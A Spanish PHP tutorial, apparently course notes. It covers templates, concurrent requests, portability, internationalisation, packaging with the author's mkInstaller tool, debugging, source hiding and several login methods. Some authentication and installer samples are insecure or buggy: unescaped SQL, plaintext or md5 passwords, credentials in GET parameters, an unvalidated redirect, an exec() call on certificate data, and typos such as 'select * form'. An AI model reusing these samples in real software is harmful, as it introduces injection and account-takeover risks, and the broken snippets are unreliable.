En las aplicaciones web es habitual mostrar una cabecera de identificación de la aplicación y un menú con las principales acciones posibles. Para no repetir esta estructura se emplean a veces frames, pero generan problemas complicados de recargas. Vamos a aprovechar las plantillas para no usar frames. Construiremos una plantilla, digamos, global y dentro de ella colocaremos el resto de plantillas.

Los interfaces serán: uno de autenticación, otro de registro de cliente, otro de búsqueda de títulos (con muestra de novedades), otro de reserva y otro de consulta de reservas. Realmente para mejor programación y facilidad de uso, la consulta de reservas se integra con la de reserva y la de búsqueda.

La estructura de la base de datos es sencilla:

  • clientes: tabla obvia.
  • pelis, gente, pel_gen: información sobre las películas.
  • soportes: ejemplares de películas, apunta a pelis y establece la fecha hasta la que queda reservada o la fecha hasta la que está alquilada (el alquiler se establece desde el mostrador).
  • reservas: relaciona clientes con soportes.
Se han simplificado algunas cosas, como que no está previsto que un soporte pueda contener varias películas.

Esto es un esbozo de lo que sería el programa: <?
  get_magic_quotes_gpc
() and die();
  
session_start();

  require_once 
"HTML/Template/Sigma.php";
  
$tpl= new HTML_Template_Sigma("plantillas-cine");

  
//!
  
$host="";
  
//!
  
$user="cine";
  
//!
  
$pas="cine";
  
mysql_connect($host,$user,$pas) or
       
error('No pude conectar con el servidor de BDD');
  
//!
  
$bdd="cine";
  
mysql_select_db($bdd) or
       
error('Error al acceder a la base de datos');

  
$idus=$_SESSION['idus'];
  switch (@
key($_POST['boton'])) {
    case 
'entrar':
      
$dni=mysql_real_escape_string($_POST['dni']);
      
$tel=mysql_real_escape_string($_POST['tel']);
      
$idus=mysql_fetch_assoc(mysql_query("select * from clientes where dni='$dni' and tel='$tel'"));
      if (!
$idus) {
        
$tpl->loadTemplateFile("inicio.html");
        
$tpl->setVariable("MENS",'Tas colao');
        break;
      }
      
$_SESSION['idus']=$idus;
      
$tpl->loadTemplateFile("busca.html");
      break;
    case 
'edtcli':
      if (!
identificado($idus))
        break;
      
$tpl->loadTemplateFile("edtcli.html");
      foreach(array(
'nombre','dni','tel','direcc') as $cmp)
        
$tpl->setVariable(strtoupper($cmp),
          
htmlspecialchars($idus[$cmp]));

    default:
      if (
$_SESSION['idus'])
        
$tpl->loadTemplateFile("busca.html");
      else
        
$tpl->loadTemplateFile("inicio.html");
      break;
  }

  
$ifz=$tpl->get();
  
$tpl->loadTemplateFile("global.html");
  
$tpl->setVariable("INTFZ",$ifz);
  
$tpl->show();

  function 
error($m) {
    global 
$tpl;
    
$tpl->loadTemplateFile("error.html");
    
$tpl->setVariable("MENS",$m);
    
$tpl->show();
    die();
  }
  function 
identificado($idus) {
    if (!
$idus) {
      
$tpl->loadTemplateFile("inicio.html");
      
$tpl->setVariable("MENS",
                
'Primero identifíquese');
    }
  }
?>
Como puedes observar, lo primero es, independientemente de las acciones, iniciar sesión, preparar la plantilla y conectar con la BdD. A continuación se han implementado algunas de las funciones más básicas. Como puedes ver, hay dos funciones útiles, una que muestra un error fatal y otra, más útil, que verifica si el usuario está autenticado y si no lo está le propone hacerlo. Esta función será necesario llamarla antes de todas las operaciones que requieran estar previamente autenticado.

Diseña cuidadosa y completamente la interfaz de usuario de este proyecto.
Realiza el proyecto usando esta metodología, es decir, un sólo fichero php para los cientes y varias plantillas. Modifica y amplía a tu gusto el programa que te he propuesto, adáptalo a tu diseño de la interfaz.

Problemas comunes ^

Concurrencia ^
PHP dispone en plataformas Uni*x de un interfaz con forki (man 2 fork), la función se denomina pcntl_fork y es parte de la extensión PCNTL. Esto permite lanzar procesos concurrentes al estilo Un*x. Esta función no debe usarse cuando PHP se invoca como módulo de apache, pues haríamos fork() del apache, no del PHP.
Saltar

La solución bajo apache pasa por usar el hecho de que apache es capaz de atender varias peticiones simultáneamente. Podemos lanzar varias peticiones concurrentes con CURL al propio script. El esquema sería:

	  session_start();
	  if (una petición) {
	    session_write_close();
	    switch (peticion) {
	      case 'una':
		acciones de una que pueden suponer
		  descargas de otras urls etc, es decir acciones lentas.
		session_start();
		$_SESSION[peticion]=resultados;
		break;
	      case 'otra':
		-------
	    }
	    exit
	  }
	  determinar que peticiones se quieren hacer en paralelo
	  session_write_close();
	  lanzarlas con multi curl y recoger los resulatdos individuales.
	  
El uso de session_start hace que las peticiones concurrentes se serializen, pero session_write_close(); permite que sigan en paralelo.

La clase multiCurl permite lanzar descargas en paralelo de forma sencilla, usando internamente multi curl. El código sería:
  session_start
();
  if (
$peti=$_POST["peti"]) {
    
session_write_close();
    switch (
$peti) {
      case 
"una":
        ........ 
acciones que no escriben nada
        session_start
();
        
$_SESSION[$peti]=resultados;
        break;
      ........
    }
    die();
  }
  
$mc=new multiCurl(10);
  
$peti=$_SERVER["HTTP_HOST"].$_SERVER["SCRIPT_NAME"]."?peti";
  
$mc->addURL("$peti=una");
  
$mc->addURL("$peti=otra&unparametro=valor&otro=mas");
  
$mc->addURL("$peti=unamas");
  
$mc->endWait(); 

Piensa un modo de que los resultados están disponibles tal y como las URLs acaban de descargarse, y no cuando acaba multi curl
Portabilidad ^
Es muy importante que un proyecto PHP pueda correr en un servidor distinto de donde se ha desarrollado. Es habitual que los programas se desarrollan para funcionar en un determinado servidor, es decir un programador programa el proyecto para explotarlo él (su empresa) o a medida para un cliente en concreto. Pero si no se tiene en cuenta la posibilidad de migrar a otro entorno, cuando haya que hacerlos los problemas serán numerosos.

Un elemento de portabilidad es controlar los parámetros de php.ini que afectan fuertemente al programa. Lo más grave para la seguridad (y el buen funcionamento) es el estado de magic_quotes_gpc, parámetro que si está a ON (por defecto hasta php5 inclusive), provoca el escapado de ciertos signos, es decir que un signo " se convierta en \', como vimos. Si queremos que nuestro proyecto funcione independientemente de este parámetro, debemos, comprobar siempre el estado de magic_quotes_gpc, lo cual es engorroso, pero necesario.

Otra situación típica de falta de portabilidad es cuando desde nuesros programas hacemos referencia a URLs y usamos valores absolutos que pueden cambiar, en concreto la de nuestro proyecto. Un ejemplo muy típico es cuando mandamos un correo con una enlace a nuestra web e introducimos directamente nuestra URL. Lo correcto es usar la variable $_SERVER, como se muestra en el ejemplo de autenticación por mail.
Otra situación típica de URL es cuando se quiere cambiar a modo seguro la propia URL, debe usarse igualmente $_SERVER.

Cuando no podamos evitar una dependencia, como por ejemplo un path a un include o similar, podemos establecerlo como un parámetro de distribución/instalación de nuestra aplicación como explicamos aquí.

Internacionalización ^
El término i18n se refiere a internacionalización. En este apartado, voy a mostrar una forma de hacer una aplicación multilingüe con php. Usaré mi versión php de gettext, mmGetText.
Ideas básicas
Quiero hacer notar que un sistema multilingüe no se alcanza con traductores automáticos ni similares, en tanto que una traducción debe ser revisada siempre por un agente humano, por lo que habrá que tenerla preparada en la aplicación. Es decir que el programa ya debe contemplar en su confección los distintos idiomas y llevar las traducciones preparadas.

Como sabemos, la utilidad de las plantillas es mantener la independencia entre el diseño y la programación, por lo que intentaremos que la mayor parte del texto y todo el HTML esté en las plantillas. Pero, normalmente, dentro del programa es necesario escribir pequeños mensajes o sacar resultados. Luego si queremos que el proyecto sea multilingüe, necesitamos:

  • Un conjunto de plantillas en cada idioma soportado.
  • Los mensajes en cada idioma.
  • Los campos visualizables de la bdd en cada idioma.
El último punto es el más conflictivo, la propuesta que haré no es, probablemente, la ideal.
Plantillas y mensajes
Primero que nada preparo mi script (digamos, mio.php) para usar mmGetText, colocando al inicio: <?php 
  
// funciones y cadenas de mmGettext
  
require_once('idiomas.php');

Esta cabecera la colocaré en todos los php-multilingüe que vaya a construir en este proyecto.
Y en el archivo idiomas.php: <?php 
  session_start
();

  
// fuerza si el cliente pasa ?lang=id
  
forceLangSession($_GET['lang']);

  
// determina el idioma elegido de mutuo acuerdo en $whichLang 
  
mmSetLang(mmIniStr('es'),'es');

  
// locale (este ejemplo sólo funciona con idiomas "españoles")
  
setlocale(LC_ALL,$whichLang.'_ES');

  
// dónde están las plantillas de este idioma
  
$dirPlantillas="../plantillas_$whichLang";

  
/* mmGetText start */
  //
  //
  /* mmGetText end */
?>

Obsérvese que $dirPlantillas puede usarse para Sigma, Smarty, FastTemplate, o plantillas caseras como en este ejemplo.

Después, voy escribiendo código php y en un momento dado, necesito sacar la plantilla, que contiene, por ejemplo, la fecha y un mensajito. En este caso, haría (plantillas caseras):  
echo preg_replace(
         array(
'/{HORA}/','/{MENSAJITO}/'),
         array(
strftime('%c'),__('Este es el mensajito')),
         
file_get_contents("$dirPlantillas/unaplantilla.html")
       ); 

Es decir, cargo la plantilla de nombre unaplantilla.html del directorio adecuado según el idioma y sustituyo la fecha, que strftime ya me va a colocar en el idioma correcto gracias al setlocale, y sustiyo el mensajito que es traducido por la función __() de mmGetText.

Obsérvese que hay un directorio de plantillas por idioma y en cada uno, plantillas se llaman igual. Por ello si se usa un sistema que emplee plantilas compiladas, como Sigma, debe indicarse también un directorio de plantillas compiladas por idioma, algo como:  
$tpl
= new HTML_Template_Sigma("$dirPlantillas","$dirPlantillas-compiladas"); 

Si quiero poner en la página botones para cambiar de idioma, puedo poner algo como: <a href="?lang=ca"><img src="ca.gif" border="0"></a>:

Realización
Para llevar esto a la práctica, basta con editar el archivo idiomas.php, con el contenido anterior. Después, contruir los programas, por ejemplo mio.php y otromio.php, y ejecutar: mmGetText.php idiomas.php mio.php otromio.php Obteniendo el archivo idiomas.php actualizado con las cadenas a traducir (obtenidas de los archivos mio.php otromio.php), y con las funciones necesarias incluidas.
El mantenimiento posterior de las traducciones consiste en editar los programas, ejecutar el comando anterior y volver a editar idiomas.php para tener traducidos los mensajes. Por otra parte, ir traduciendo las plantillas en los directorios respectivos.
El problema de la base de datos
Para que el sistema sea completamente multilingüe, es necesario que también estén en varios idiomas los datos de la base de datos que se muestren al cliente. Si, de acuerdo con el criterio establecido, sacar los datos en un idioma y traducirlos no es buena idea, tendrán que estar en cada idioma. El inconveniente es tener que alterar la bdd para añadir un idioma, pero por lo menos, procuremos no alterar la programación.

Supongamos, pues que tenemos un campo en la bdd que se llama fruta y que contiene nombres de frutas. Estos nombre varian con el idioma. La solución que propongo es tener un campo para cada idioma soportado: fruta_es, fruta_en, fruta_ca, etc. y actuar según:  
  $q
=mysql_query("select fruta_$whichLang from tabla where ..."); 
Que ya me saca el campo en el idioma deseado, o bien:  
  $q
=mysql_query("select * from tabla where ...");
  
$row=mysql_fetch_assoc($q);
  
$nomFruta=$row["fruta_$whichLang"]; 

Realiza el tutorial propuesto en la página de mmgettext.
Distribución ^
Cuando hago un programa, lo instalo yo mismo en un servidor, con lo que es mi problema que funcione correctamente en ese servidor, o bien le entrego el programa a alguien (por ejemplo como resultado de un encargo) para que haga el uso que considere oportuno (ver también las consideraciones de entregar código abierto). En este caso deberé dar unos requerimientos mínimos del sistema y sobre todo unas instrucciones de instalación. También puedo contruir un programa que facilite la instalación, como hacen proyectos tan conocidos como Joomla o Typo 3.

Una opción -- un tanto partidista :-) -- es usar una pequeña herramienta de mi construcción que construye un programa php con autoextracción que instala un proyecto completo. La herramienta se denomina mkInstaller, y lo primero es instalarlo. Es un único script, si soy administrador lo puedo instalar en /usr/local/bin según: wget -O /usr/local/src/mkInstaller.php \
        "http://dwnl.nisu.org/dwnl/mkInstaller.php/si"
echo $'#!/bin/bash\nphp /usr/local/src/mkInstaller.php "$@"' >/usr/local/bin/mkInstaller
chmod a+x /usr/local/bin/mkInstaller

Uso básico
Para aprender a usarlo, basta con leer la información de la página en castellano. Para usarlo bien, hay que leer la versión en inglés. Expongo aquí un resumen de las acciones básicas:
  • Edita los archivos (de tu proyecto) que tengan valores dependientes de la instalación. Por ejemplo, donde pondrías algo como:   
    mysql_connect
    ("localhost","alxxxx","patata");
    mysql_select_db("midatabase");

    debes poner:   
    //!
    // %es%: Nombre del servidor de base de datos
    $host="localhost";
    //!
    $user="alxxxx";
    //!
    $pas="patata";

    mysql_connect($host,$user,$pas);

    //!
    $bdd="midatabase";

    mysql_select_db($bdd);
        
    La marca //! indica que la asignación de la línea siguiente necesita instalación.

  • Vamos a suponer que esos cambios los has hecho en los archivos f1.php y f2.php. Ejecuta algo como: mkInstaller -o out inst/mi-instalador.php f1.php f2.php -- otroarchivo.php Te creará el archivo mi-instalador.php en el directorio inst que es un instalador de los archivos que le has especificado. Los archivos especificados después de -- son simplemente copiados. El instalador generado es código php, no deberías editarlo.

  • Si quieres añadir más archivos, no los pases por parámetro directamente, pues mkInstaller se olvidará de los anteriores. Usa '-f'. Por ejemplo, si quieres poner el contenido de un directorio (recursivo): mkInstaller -f tree 0 directorio añadirá su contenido a los archivos que especificaste antes. Y si necesitas que un tercer script f3.php sea instalable, haz: mkInstaller -f parse f3.php

  • Para adjuntar la bases de datos, ejectua algo similar a: mkInstaller -d 'host==user==pas==bdd==mysql' donde host, user, pas y bdd son los nombres de tus variables, que has definido en el programa con la marca //! y que contienen los obvios valores necesarios. Al final especificas si la bdd es mysql o pgsql.

  • Si no quieres que el instalador contenga los datos de las tablas, sino que sólo las cree, edita el archivo _mkInstaller.php y deja el array tp vacío: 'tp'=>array() o con las tablas que quieras, por ejemplo:
    'tp'=>array('tabla1' => array(), 'tabla2' => array())
    y ejecuta de nuevo mkInstaller para regenerar el instalador.

  • Cada vez que, trabajando en tu proyecto, modifiques un archivo o la base de datos, basta con ejecutar:
    mkInstaller y se genera el nuevo instalador. No es necesario pasar parámetros, pues recuerda los que se le dieron, guarándolos en el archivo _mkInstaller.php.

  • Si has incluido un archivo que no debera de estar, puedes eliminarlo con: -f excl 1archivoquesobra.
    Debes especificar la ruta del archivo tal y como la pusiste. Si quieres quitar un directorio entero, usa -f excl directorioquesobra==.

  • Prueba el instalador, abriéndolo con el navegador, si quiere proceder a instalarar, asegúrate que el instalador está en un directorio aparte, pues si no lo está "machacará" lo que tienes (no pasa nada, pero mejor no arriesgarse). Igualmente, especifica una BdD diferente a la hora de instalar para evitar problemas.
  • Antes de entregar el instalador o si quieres ver lo que contiene el instalador, ejecuta mkInstaller -I | less -S , comprobando que el instalador es capaz de descomprimir. Comprueba también que no has incluído el instalador dentro del propio instalador, y que no sobran archivos, como notas tuyas, etc..

  • Importante: Cada variable tiene una cadena asociada (por idioma) que se usa para solicitar el valor al instalar, algo del tipo 'Introduce el valor de la variable'. Este mensaje ha sido generado automáticamente y es totalmente inadmisible desde el punto de vista de interacción con el usuario. Debes cambiar ese mensaje, y puedes hacerlo de dos formas:
    • Editando el código fuente y poniendo (en algún sitio en que definas la variable, no es necesario en todos) un comentario después de //! de la forma // %id%: mensaje, donde id es un idioma.
    • Editando el archivo _mkInstaller.php (con cuidado, es php y debe ser sintácticamente correcto) y modificando las cadenas asociadas a cada variable (por idioma). Este segundo método tiene menos preferencia que introducirlo en el código fuente..

Ojo:

  • Si especificas archivos como parámetros, se borra la lista anterior de archivos, usa -f para añadir archivos a la lista.
  • Si usas comodines "*", ten en cuenta que puedes estar incluyendo archivos que no son necesarios. En particular, si ya tenías un instalador, puede que lo añadas y, aparte de estar mal, el instalador nuevo ocupara el doble de espacio del anterior.
  • Si transfieres el instalador generado por ftp, asegúrate que lo haces en modo binario, de lo contrario, aunque siga siendo un programa php, al ejecutarse, falla.
Un instalador más completo
  • La página del instalador tiene un aspecto predefinido, para mejorarla, coje la plantilla principal de tu proyecto, guárdala con el nombre es-tpl.html y edítala, preparando una zona central de suficiente tamaño, y coloca ahí la etiqueta {CONT}. Después ejecutas: mkInstaller -o tpl es-tpl.html No olvides definir una clase CSS de nombre ifr para que {CONT} se vea bien. Puedes jugar con algo como:
    .ifr {
    width: 100%;
    height: 100%; border: none;
    background-color: transparent;
    }
    El bloque {CONT}, a su vez, tiene que estar en algún contenedor (un div, por ejemplo) con suficiente espacio.
    Mirando el código fuente de la plantilla que mkInstaller mete por defecto, puedes ver detalles como javascript para realizar indicaciones de progreso o los pasos de instalación.
  • Si quieres cambiar los colores/apariencia del formulario de instalación, modifica el CSS base y pásalo con: mkInstaller -o css nuevocss.css Donde nuevocss.css es el archivo modificado. El CSS base lo puedes obtener ejecutando mkInstaller -r borrame; en el directorio borrame podrás encontrarlo. Para ver la relación con el formulario, desde tu navegador, dile que muestre el código fuente del formulario (fácil con Firefox).
  • Si tu programa tiene versioneado, construye un script que devuelva la versión y colócalo en una parte visible de tu web (ojo no lo incluyas en el instaaldor, no tiene sentido), después ejecuta: mkInstaller -o ver http://....tuserver.../..script..de.version.php Verás que mkInstaller dice que sabe la versión de tu proyecto. En el futuro, al ejecutar el instalador, si hay una versión más nueva, se lo indicará al usuario. Puedes incluir la versión en tu plantilla, usando la etiqueta {VER}.
  • Otras etiquetas en la plantilla pueden ser {IVER} para la versión de mkInstaller y {LOGO} para el logo de mkInstaller. Ejemplo.
Inicialización
Aparte de la instalación sistemática de archivos y bases de datos que realiza el instalador generado con los criterios expuestos, suele ser necesaria una fase de inicialización, como por ejemplo, insertar un administrador del sitio. Podemos resolver esto realizando un pequeño programa e insertándolo en el instalador, de modo que nos ahorramos hacer un interfaz de usuario y de paso se integra completamente en la instalación del proyecto. Como ejemplo, este script inserta un primer administrador, inicia sesión como él y salta a la página principal del proyecto: <?php 
  
//!
  // %es%: Usuario administrador
  
$nomPrimAdmo='';
  
//!
  // %es%: Su contraseña
  
$pwdPrimAdmo='';
  
mysql_query("insert into users (user, pass, esAdmin) ".
      
"values ('$nomPrimAdmo','$pwdPrimAdmo',1)");
  
// suponiendo que se establece la autenticación por la clave primaria de la tabla
  
$_SESSION['auth']=mysql_insert_id();
  
$_SESSION['admo']=true;
  
// salta a la página principal
  
loge('<meta http-equiv=refresh content="0;principal.html">',true);
?>
Los valores de $nomPrimAdmo y $pwdPrimAdmo serán rellenados por el instalador con los valores suministrados por el usuario al instalar. El script se ejecutará sin escribirse en disco. Para que esto funcione, suponiendo que el script se denomina ini.php, hay que ejecutar: mkInstaller -o ses -f run ini.php La opción 'ses' indica generar un instalador que inicie sesión. La función loge es una función interna del instalador que escribe y avanza el scroll.
Compatibilidad
Otra opción interesante es que el instalador compruebe si la instalación de php (u otros requisitos) es adecuada para el proyecto. Podemos construir un script, sea test.php, como éste: <?php 
  $mg
['test_env'] = array(
     
'es' => 'El paquete o librería %s no parece estar instalado,
         consulte las instrucciones específicas de instalación de su sistema'
,
     
'en' => 'The package or library %s seems not to be installed,
         please read the specific installation instructions of your system'
,);
  
$mg['test_env2'] = array(
     
'es' => 'El valor de %s debe ser al menos de %s,
              corrija la configuración de PHP'
,);
  foreach(array(
"HTML/Template/Sigma.php" => "include""zip_open" => "funcion",
          
"imagecreatefromgif" => "funcion",
          
"upload_max_filesize" => "20M""post_max_size" => "25M") as $pq => $nat)
    switch(
$nat) {
      case 
"include":
        if (@include(
$pq) === false)
          
salir(sprintf(st("test_env"),$pq));
        break;
      case 
"funcion":
        if (!
function_exists($pq))
          
salir(sprintf(st("test_env"),$pq));
        break;
      default:
        if (
ini_get($pq) < $nat)
          
salir(sprintf(st("test_env2"),$pq,$nat));
    }
 
?>
Después basta con hacer una vez: mkInstaller -f load test.php El array $mg y las funciones salir y st son internas del instalador. El array $mg permite establecer distintos mensajes en ditintos idiomas y la función st los muestra debidamente.
Prueba del instalador
Puedes cargar el instalador para ver el aspecto de la página, pero un tema aparte es proceder a probar la instalación, pues se realizan acciones que pueden ser peligrosas. Hay que tener en cuenta varias cosas:
  • Si usas una máquina en la que no eres administrador, ten en cuenta que el servidor web corre con un usuario diferente del tuyo. Por tanto debes de colocar el instalador mi-instalador.php en un directorio donde tenga permisos de escritura. Dentro de él, el instalador creará los archivos y directorios, pero los dejará propiedad del usuario que ejecuta el servidor web, con lo que quizá no podrás borrarlos. Para ello hay dos opciones:
    • Crea un directorio en /tmp y en tu web coloca un enlace simbólico a él. Coloca ahí el instalador. No podrás borrar los archivos, pero no importa.
    • Haz un script en php que borre los archivos y directorios.
  • La base de datos se rellenará con los datos del instalador. No uses por tanto la misma base de datos (a no ser que el instalador contenga la bdd completa, lo que no parece muy razonable). Necesitas tener el privilegio de poder crear una base de datos.
Realiza el tutorial propuesto en la página de mkInstaller.
Saltar
Depuración ^
La instalación por defecto no provee ni de debugger ni de profiler. Existen varios depuradores y perfiladores que pueden instalarse, por ejemplo xdebug. Para instalarlo necesitamos ser administrador del sistema donde está el servidor. Como está actualmente integrado en PECL, se instala inmediatamente. Reinicia apache, ejecutando /etc/init.d/apache restart para que los cambios tomen efecto.

Ahora debes decidir que editor quiere usar para depurar, para usar vim, instala a nivel de sistema (por ejemplo en /usr/share/vim/vim71/plugin/) o a nivel individual en ~/.vim, el contenido del archivo debugger.zip que puedes encontrar aquí. Información detallada en este tutorial. Para comprobar que funciona, procede como sigue:

  1. Edita con vim un archivo php que esté en un directorio del web.
  2. Carga el archivo con un navegador, a través del servidor, pasándole el parámetro: XDEBUG_SESSION_START=1 (algo como http://servidor/script?XDEBUG_SESSION_START=1).
  3. Pulsa F5 en el editor y recarga inmediatamente la página.
  4. Pulsa intro en el editor. Pulsa F3 varias veces, verás que la ejecución avanza. Pulsa F11, verás el contenido de las variables.
  5. Para acabar pulsa F6.
Por supuesto existen otros depuradores. Gubed es interesante en tanto que no se requiere ser administrador del sistema en el servidor, está todo escrito en php, de modo que basta con colocar unos scripts en el servidor. El inconveniente es que lo soportan un número limitado de editores, como por ejemplo Quanta de KDE.

Respecto a los perfiladores, el propio xdebug incorpora uno excelente. Uno sencillo pero interesante porque viene con PECL es apd. Se instala enseguida con pecl install apd, añadiéndolo como extensión zend, como hemos explicado antes: zend_extension=/usr/lib/php5/20060613+lfs/apd.so
apd.dumpdir = /tmp
apd.statement_tracing = 0
Se activa incluyendo una llamada en el código fuente: apd_set_pprof_trace();. Después de ejecutar el script, el perfil se obtiene ejecutando algo como pprofp -R /tmp/pprof......

Código cerrado ^
La programación con un lenguaje interpretado tiene un gran inconveniente: cuando entregamos el programa entregamos el código fuente. Desafortunadamente no todos los programas pueden ser de código abierto, por diversas razones. Si escribimos el programa en C lo podemos entregar compilado, pero no es evidente lo mismo en PHP.

Afortunadamente existe remedio. Están disponibles una serie de productos que permiten ocultar el codigo fuente PHP. Existen varias técnicas para realizarlo:

  • Los programas de tipo "compilador" traducen el php a un código intermedio denominado código Zend, que es el código de bajo nivel de la máquina virtual PHP, y que llamaré código compilado a partir de ahora. Justamente Zend comercializa, bastante caro, un producto de este tipo, que es además cache y optimizador.
  • Los ofuscadores modifican el código fuente mediante sustituciones de nombres de funciones y variables y la deformaciópn del estilo de programación (por ejemplo meter el programa en una sola línea). Su principal inconveniente es que pueden fallar en proyectos muy complejos.
  • Los codificadores realizan un cifrado del código fuente. El objeto generado se descifra mediante un cargador precompilado (escrito normalmente en C). En contra de lo que se ha dicho muchas veces y es desgraciadamente, opinión generalizada, éstos programas son completamente inútiles. El descifrado lo realiza automáticamente el módulo precompilado, obteniendo el código fuente que evalua y ejecuta. Si el módulo puede descifrarlos sin necesidad de ninguna clave, cualquiera puede hacerlo (esto es como el supuesto cifrado del DVD). En este caso es especialmente fácil hacerlo, no explicaré como por no perjudicar a nadie.
Así los compiladores son los más interesantes, pues además, el código compilado no necesita ser parseado por el intérprete, aumentando la velocidad de ejecución considerablemente, especialmente en programas grandes y monolíticos. Además estos productos pueden usarse en este sentido de forma transparente para el programador, pues implementan una caché que funciona de la siguiente manera: La primera vez que el servidor ejecuta un programa, se compila y se almacena compilado en una caché. La próxima vez que se ejecute, si el programa no se ha modificado, el servidor toma el compilado de la caché. La instalación se realiza a nivel de sistema, el programador ni lo nota. La compilación no es incompatible con la sentencia eval, pues la máquina Zend tiene acceso al compilador y puede parsear código sin problemas, aunque obviamente perdiendo prestaciones frente al código ya compilado.

Obsérvese pues, que tener uno de estos compiladores/aceleradores en nuestro servidor web, vale la pena sólo por el hecho de acelerar la ejecución de php, incluso si no queremos dar el programa compilado a otros.

Saltar
eAccelerator
Hace unos años, Dmitry Stogov implementó un compilador/caché de extraordinarias características, denominado TurckMmCache y lo distribuyó bajo licencia GPL. En 2003 Zend contrató a Dmitry por motivos obvios y el proyecto fue abandonado, no siendo compatible con PHP5. Actualmente ha sido retomado por Reiner Jung y otros y se denomina eAccelerator. Es un proyecto en fase de desarrollo, pero teniendo en cuenta que parte de TurckMmCache podemos esperar maravillas de él. Actualmente existe ya una versión estable. Un producto como éste es recomendable instalarlo a nivel de servidor web por el interés de la caché aun cuando nunca pensemos compilar nuestros programas. La instalación es trivial.

El código compilado por eAccelerator es a su vez un programa PHP, con un aspecto similar a este: <?php
  
return eaccelerator_load('código base64');
?>

Este modelo requiere que esté instalado a nivel de sistema. Pero puede cargarse el módulo a nivel de aplicación. Necesitamos tener compilado el módulo eLoader.so y que coincida con la versión de API de PHP. Entonces podemos hacer algo como: <?php
  
if (! function_exists(eaccelerator_load)) {
    if (!@
dl(str_repeat("/..",30)."eLoader.so"))
      die(
"Cannot load eAccelerator");
  }
  if (!
function_exists(eaccelerator_load))
    die(
"eAccelerator is not working");
  return 
eaccelerator_load('código base64');
?>

Ejemplos típicos ^

Autenticación ^
Para un proyecto php podemos usar la autenticacion HTTP, pero dado el pobre efecto estético, es usual plantarse la autenticación vía programación PHP. Pueden usarse varios métodos, que paso a comentar.
Con usuario y contraseña
Lo conveniente es tener los usuarios almacenados en una tabla. Cada fila contendrá el usuario, que deberá ser tipo string, la constraseña, que deberíamos guardar cifrada, y otros datos del usuario, que pueden incluir un rol en nuestra web. Para autenticar, bastaría hacer un formulario que pida usuario y contraseña y los envíe a un script (que puede ser él mismo), algo como:  
  
if (!$_SESSION['auth']) {
    if (
$usuae=mysql_real_escape_string($usua=$_GET['usua'])) {
      
$pw=md5($_GET['pw']);
      
$us=mysql_fetch_assoc(mysql_query(
               
"select * form usuarios where usu = '$usuae' and pas = '$pw'"));
      if (
$us) {
        
$_SESSION['auth']=true;
        
// guardar en la sessión lo que se considere oportuno
        // redirecciono a la misma página, pero autenticado
        
header('Location: '.$_SERVER['SCRIPT_NAME']);
       die();
      }
    }
  }
  if (!
$_SESSION['auth'])
    die(
'<form>Usuario: <input name=usua> '.
        
'contraseña: <input name=pw> <input type=submit value=Acceder>');
Vía mail
En este caso, en la base de datos, guardamos usuarios con direcciones de correo asociadas. Podemos usar las propias direcciones de correo como identificador de usuario. Este método es más incómodo que el anterior, pero puede usarse cuando se conoce la dirección de correo del usuario, y no se ha podido negociar una contraseña con él. Es un método con ciertas ventajas de seguridad, en tanto que la dirección de correo tiene valor para el usuario, sabemos que no va a prestar a otros usuarios sus derechos de acceso al web. Para implementarlo basta on usar la función mail de php. Si queremos que el correo sirva para usa sola vez, debemos incluir en el correo un código único que se destruya al acceder:  
  
if (!$_SESSION['auth']) {
    
$scri=http://{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']};
    
if ($usume=mysql_real_escape_string($usum=$_GET['usum'])) {
      
$us=mysql_fetch_assoc(mysql_query(
               
"select * form usuarios where usu = '$usume'"));
      if (!
$us)
        die(
"El usuario $usum no existe");
      
$mail=$us['mail'];
      
$cod=dechex(crc32(uniqid('accc'))); // suficiente?
      
$_SESSION['cod']=$cod;
      
$_SESSION['per']=$usum;
      
mail($mail,"Acceso a $scri","Accede pinchando en $scri?cod=$cod");
      die(
"<b>No cierres el navegador</b> y lee el mail enviado a $mail");
    }
    if (
$cod=$_GET['cod']) {
      
// ha especificado un codigo no nulo no pueden ser los dos nulos
      
if ($cod == $_SESSION['cod']) {
        
$_SESSION['auth']=true;
        unset(
$_SESSION['cod']);
        
header("Location: $scri");
        die();
      }
      
// no coincide el código
      
if ($_SESSION['per'])
        die(
'Código no válido, te has equivocado de correo, ',
            
'coje otro correo o reinicia el proceso.');
      else
        die(
'Código no válido, ¿habías cerrado el navegador?, reintenta.');
    }
  }
  if (!
$_SESSION['auth']) {
    die(
'<form>User: <input name=usum> '.
        
'<input type=submit value=Continua></form>');
    
Si queremos que sirva para siempre, el correo debe incluir algún secreto permanente, por ejemplo una credencial única (permanente):  
  $mail
=$us['mail'];
  
$cod=url_encode($us['credencial']); 

O bien codificados (que no cifrados) usuario y contraseña:  
  $cod
=url_encode(base64_encode(serialize(array(
          
'usu'=>$us['usu'],'pw'=>$us['pw'])))); 

¡Ojo!. Estamos enviando por correo un modo de acceso permanente, con los reiesgos de seguridad que implica. Debería informarse de ello al usuario.

Con certificados
Si tenemos activa la autenticación por certificados para un script determinado, podemos hacer un script que saque los datos básicos del certificado. Suponiendo que es un certificado de ciudadano (razonable), extraemos el datos que más nos interesa: el NIF.
El ejemplo que expongo es válido para certificados FNMT y GVA:
        <?php 
          $quienc
=$_SERVER['SSL_CLIENT_S_DN_CN'];
          if (! 
$quienc// esto sólo sucederá si SSLVerifyClient = optional
            
die();
          
// guarda el CN completo
          
$_SESSION['quienc']=$quienc;
          
$_SESSION['quienid']=$_SERVER['SSL_CLIENT_S_DN'].
                    
'-&-'.$_SERVER['SSL_CLIENT_I_DN'];
          
$cert=$_SERVER['SSL_CLIENT_CERT'];
          
// extrae el email, no puede hacerse a fecha de hoy con php
          
$_SESSION['quienem']=exec("sacamailcert '$cert'");
          
// lo más importante, saca en NIF
          
$quien=preg_replace('/.*NIF[: ] */','',$quienc);
          
$_SESSION['certificado']=$cert;
          
$_SESSION['quien']=$quien;
          
$_SESSION['certificado_fin']=strtotime($_SERVER['SSL_CLIENT_V_END']);
          
header("Location: ".$_GET['volver']);
        
?>

La variable $_SESSION['quien'] contiene el NIF, que puede ser comprobado contra una base de datos de usuario, siendo este método, por tanto, compatible con la autenticación via usuario y contraseña que antes hemos visto. Es obvio que para autenticar, bastará con redirigir a este script si no se está autenticado, con algo de la forma:  
  
if (!$_SESSION['auth']) {
    
header('Location: script_con_certs?volver='.
           
urlencode($_SERVER['SCRIPT_NAME']));
    die();
  }
Cruzada
